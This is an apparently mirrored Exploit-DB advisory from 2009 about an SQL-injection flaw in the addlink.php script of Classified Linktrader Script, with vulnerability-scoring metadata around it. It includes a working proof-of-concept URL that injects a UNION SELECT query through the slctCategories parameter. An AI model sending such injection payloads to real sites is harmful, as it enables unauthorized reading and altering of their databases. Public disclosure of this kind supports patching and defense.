Lucene search

K
exploitdbMoudiEDB-ID:34748
HistoryJul 21, 2009 - 12:00 a.m.

Classified Linktrader Script - 'addlink.php' SQL Injection

2009-07-2100:00:00
Moudi
www.exploit-db.com
43

AI Score

7.4

Confidence

Low

EPSS

0.001

Percentile

33.9%

source: https://www.securityfocus.com/bid/43497/info

Classified Linktrader Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/addlink.php?txtName=1&txtEmail=1&1&txtHURL=1&txtLURL=1&slctCategories=null+union+all%20select+1,version(),3--&txtSlogan=1&txtDescription=1&cmdPreview=Preview--

AI Score

7.4

Confidence

Low

EPSS

0.001

Percentile

33.9%

Related for EDB-ID:34748